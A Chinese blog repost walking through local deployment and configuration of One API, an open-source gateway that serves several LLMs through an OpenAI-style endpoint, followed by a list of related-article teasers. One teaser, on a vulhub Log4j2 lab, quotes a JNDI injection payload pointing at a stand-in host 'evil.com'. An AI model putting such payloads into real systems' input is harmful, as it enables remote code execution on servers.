One API初体验

news2024/10/5 14:18:37

前言

忘了在微信公众号是先看到了FastGPT还是One API了,反正对于自己来说知识库或One API都是个新东西,都有很强大的活力。One API在我看来,可能更基础、部署更简单一些,于是打算先搞个One API部署来看看。

One API是开源的,github介绍第一句就是“通过标准的 OpenAI API 格式访问所有的大模型,开箱即用

部署安装

推荐是docker安装,不过我电脑没有安装docker而且docker使用经验有限,因此使用了手动部署方式,下载exe直接运行。

由于最新的release下只有SourceCode,而且它主要是js和Go开发的,不会编译,因此选择了上一版本的exe双击运行(地址:Releases · songquanpeng/one-api (github.com))

弹出cmd界面,访问:http://localhost:3000/

即可正常访问

配置

登录

点击其他链接,即弹出登录界面,默认用户root,密码123456

渠道

登录后,就有了渠道链接,渠道主要是维护各个大模型的调用信息,以便可以以统一的格式调用与返回信息。

点击“添加新的渠道”:

类型,选择即可,目前智谱ChatGLM、讯飞星火、阿里通义千问都有免费token可用,可以优先使用这几个。

名称,随便写,可以标识是哪个大模型就好

分组,默认default即可

模型,在选择了类型后,会进行数据筛选、并默认选中

秘钥,即对应大模型的apikey,根据格式提示填写即可(如讯飞星火需要填写APPID|APISecret|APIKey,而有些大模型只需要一个apikey即可)

令牌

令牌,用于通过webapi调用One API的时候提供鉴权。

点击“添加新的令牌”:

名称,随便写

过期日期,自己用可以设置为永不过期,也可以自定义

额度,随便设置,主要给其他人用的时候,可以用于控制额度

使用

apipost测试

api地址:http://localhost:3000/v1/chat/completions

http方法:post

header:Authorization:Bearer {设置的令牌,复制即可}

注意:这里一定要带上Bearer,且和令牌之间有一个空格,一开始我就是这里没设置对,一直有问题

body:这里就和openai格式完全一样了,这也是One API的设计初衷,简化调用与返回格式,实现格式统一。如下是一个简单的示例

{
    "model": "qwen-turbo",
    "messages": [
        {
            "role": "user",
            "content": "你是谁?"
        }
    ]
}

这里是不是有个疑问,如果配置了多个渠道,那么在这里使用哪个渠道(大模型)呢?

github上面的说明是,会自动通过负载均衡使用多个渠道。

我测试的情况是,会根据model确定使用哪个大模型,毕竟模型对不上,也没法使用其他大模型。

指定渠道ID

github说明也提到了,管理员可以指定渠道ID,这样就可以强制使用某个渠道的大模型

header:Authorization:Bearer {设置的令牌,复制即可}-{渠道ID}

python代码调用

直接使用调用openai的代码,只需修改环境变量OPENAI_BASE_URL和OPENAI_API_KEY即可,注意在apikey里也可以添加渠道号ID,和直接apipost测试是一致的。

SK调用

之前测试的时候,一直调用出错,大概错误:Role must be user or assistant and Content length must be greater than 0 (request id: 20240219174234243074400QqnFKmsk)
Status: 400 (Bad Request)
ErrorCode: bad_response_status_code
但是使用原本的openai的baseurl和apikey测试没问题。

写文章的时候又试了下,如果使用One API代理本来的openai,调用openai是可以的(设置模型为gpt的),因此推测问题是由于模型设置的不是openai的模型,SK底层可能做了参数验证,导致最终调用没法通过。

不确定的

对于function call这些,大模型也是存在差异的,这块不知能不能统一,估计够呛吧,有待验证

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1456927.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用openai-whisper实现语音转文字

使用openai-whisper实现语音转文字 1 安装依赖 1.1 Windows下安装ffmpeg FFmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。采用LGPL或GPL许可证。它提供了录制、转换以及流化音视频的完整解决方案。 # ffmpeg官网 https://ffm…

业务型 长时间组件封装(复制即可使用)

{/*disabledAfter 日期限制 例如传入5 则只能选择今天日期5天内的时间 */} import React from react; import { DatePicker } from antd; import moment from moment;const { RangePicker } DatePicker;const CustomRangePicker ({ value, onChange, disabledAfter, ...restP…

小迪安全2023最新版笔记集合--续更

小迪安全2023最新版笔记集合–续更 小迪安全2023最新笔记集合 章节一 ---- 基础入门: 知识点集合: 应用架构:Web/APP/云应用/三方服务/负载均衡等 安全产品:CDN/WAF/IDS/IPS/蜜罐/防火墙/杀毒等 渗透命令:文件上传下…

Linux——开发工具的使用

目录 Linux软件包管理器 yum rzsz Linux编辑器——vim vim的使用 vim的基本操作 命令模式的常见命令 底行模式的常见命令 vim是需要配置的 Linux编译器——gcc/g 预处理 编译 汇编 链接 函数库 Linux项目自动化构建工具 make/makefile make原理 项目清理 Linux调试器g…

【JPCS出版|EI稳定检索】2024年第四届人工智能与工业技术应用国际学术会议(AIITA 2024)

2024年第四届人工智能与工业技术应用国际学术会议(AIITA 2024) 2024 4th International Conference on Artificial Intelligence and Industrial Technology Applications 2024年4月12日-14日 | 中国广州 大会官网:www.aiita.net 二轮截稿…

基于Springboot的校园求职招聘系统(有报告)。Javaee项目,springboot项目。

演示视频: 基于Springboot的校园求职招聘系统(有报告)。Javaee项目,springboot项目。 项目介绍: 采用M(model)V(view)C(controller)三层体系结构…

学习Android的第十六天

目录 Android 自定义 Adapter Adapter 接口 SpinnerAdapter ListAdapter BaseAdapter 自定义 BaseAdapter 参考文档 Android ListView 列表控件 ListView 的属性和方法 表头表尾分割线的设置 列表从底部开始显示 android:stackFromBottom 设置点击颜色 cacheColorH…

数据安全治理【概述】

数据安全治理,顾名思义,可拆分为“数据安全”与“治理”数据安全可理解为目标,治理可理解为手段。具体定义:数据安全治理是指在组织数据安全战略的指导下,为确保组织数据处于有效保护和合法利用的状态,以及…

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)

Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。…

Java学习小记——多线程Socket编程

目录 线程池线程池介绍线程池的参数 Java线程池ExecutorTester服务器socket编程普通socket编程线程池并行处理客户请求Java NIO异步处理客户请求 线程池 线程池介绍 在创建一个线程时存在一定的开销,创建线程的开销相比于一般的算法来说较大。首先需要建立一个调用…

如何在Windows 10中启用或关闭Windows功能?这里有详细步骤

Windows 10是一个拥有数百种功能的大型操作系统。与任何其他操作系统或软件一样,大多数PC用户从未使用Windows 10中提供的所有功能。例如,内置的XPS Viewer对大多数PC用户来说都是陌生的,尽管它自Windows7推出以来就一直存在。 高级PC用户通…

mybatis 基础入门使用

1、mybatis 简介 1.1、mybatis 特性 MyBatis 是支持定制化 SQL、存储过程以及高级映射的优秀的持久层框架; MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集; MyBatis可以使用简单的XML或注解用于配置和原始映射,将接口和…

百度云AI

百度云AI概述 Face腾讯优图科大讯飞 百度人脸识别基于深度学习的人脸识别方案,准确识别图片中的人脸信息,提供如下功能: 人脸检测:精准定位图中人脸,获得眼、口、鼻等72个关键点位置,分析性别、年龄、表…

CI/CD部署

什么是CI,什么是CD CI和CD是软件开发中持续集成和持续交付的缩写。 CI代表持续集成(Continuous Integration),是一种实践,旨在通过自动化构建、测试和代码静态分析等过程,频繁地将代码变更合并到共享存储…

ArcGIS API for JavaScript 4.X 本地部署(js,字体)

0 目录(4.19) /4.19/ 1 修改文件 1.1 init.js 编辑器打开/4.19/init.js搜索文本[HOSTNAME_AND_PATH_TO_JSAPI],然后将其连同前面的https://替换为http://ip地址/4.19,可以是localhost,只能本机引用 替换后&#xff…

【软考高级信息系统项目管理师--第二十章:高级项目管理】

🚀 作者 :“码上有前” 🚀 文章简介 :软考高级–信息系统项目管理师 🚀 欢迎小伙伴们 点赞👍、收藏⭐、留言💬 第二十章:高级项目管理 项目集管理项目组合管理组织级项目管理OPM&…

AI提示工程实战:从零开始利用提示工程学习应用大语言模型【文末送书-19】

文章目录 背景什么是提示工程?从零开始:准备工作设计提示调用大语言模型 实际应用示例文字创作助手代码生成持续优化与迭代数据隐私与安全性可解释性与透明度总结 AI提示工程实战:从零开始利用提示工程学习应用大语言模型【文末送书-19】⛳粉…

【软考问题】-- 10 - 知识精讲 - 项目风险管理

一、基本问题 1:按照可预测性,风险分哪三类? (1)已知风险:如项目目标不明确, 过分乐观的进度计划, 设计或施工变更和材料价格波动等。(2)可预测风险&#xff…

跟着pink老师前端入门教程(JavaScript)-day01

一、计算机编程基础 (一)编程语言 1、编程 编程:就是让计算机为解决某个问题而使用某种程序设计语言编写程序代码,并最终得到结果的过程。 计算机程序:就是计算机所执行的一系列的指令集合,而程序全部…

spfa的特殊用法

spfa通常用来求带有负权边的最短路问题,但是它还有两种特别的用法——求负环和求差分约束 求负环 我们回顾spfa算法,本质上是一个点的距离被更新以后再用它去更新其他的点。将被更新的点放入队列中,这样一直更新,直到没有任何点…